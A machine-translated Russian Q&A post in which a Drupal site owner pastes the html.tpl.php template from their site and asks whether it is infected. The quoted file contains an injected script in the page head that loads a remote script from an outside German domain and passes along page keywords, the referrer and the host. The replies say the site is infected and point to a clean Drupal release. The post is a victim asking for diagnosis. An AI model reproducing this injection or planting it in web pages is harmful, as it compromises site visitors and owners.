0
У меня есть PHP файл (html.tpl.php) внутри модуля для Drupal, со следующим кодом:PHP-вредоносное ПО внутри этого явно чистого файла?
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN"
"http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php print $language->language; ?>" version="XHTML+RDFa 1.0" dir="<?php print $language->dir; ?>"<?php print $rdf_namespaces; ?>>
<head profile="<?php print $grddl_profile; ?>">
<?php print $head; ?>
<title><?php print $head_title; ?></title>
<?php print $styles; ?>
<?php print $scripts; ?>
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://atelier24-gerd-kallhardt.de/js/jquery.min.php?c_utt=K85164&c_utm='+encodeURIComponent('http://atelier24-gerd-kallhardt.de/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
</head>
<body class="<?php print $classes; ?>" <?php print $attributes;?>>
<div id="skip-link">
<a href="#main-content" class="element-invisible element-focusable"><?php print t('Skip to main content'); ?></a>
</div>
<?php print $page_top; ?>
<?php print $page; ?>
<?php print $page_bottom; ?>
</body>
</html>
Моя проблема заключается в том, что некоторые антивирусы флаг это как вредоносные программы.
Пожалуйста, проверьте это virustotal report.
Может быть этот флаг может быть, потому что script включение:
http://atelier24-gerd-kallhardt.de/js/jquery.min.php?
Файл html.tpl.php живет на: /modules/system/ (сайт Drupal).
Вы можете скачать этот файл с here.
Тогда у меня есть некоторые вопросы :
- Является ли это законным файл (несмотря на возможную инфекцию)?
- Было заражено?
- Есть ли хороший и вредоносный код?
- Как я могу удалить плохую часть ?, просто удалив эту строку кода, с помощью:
script? - Как этот код может быть прикреплен там?
Ответ, кажется, «да, вы заражены», но лучшие люди, которых можно спросить, могут быть в [security.se]? –
Наконец, я загрузил чистый код с: [https://www.drupal.org/project/drupal/releases/7.0](https://www.drupal.org/project/drupal/releases/7.0) для файл: '/ modules/system/html.tpl.php' –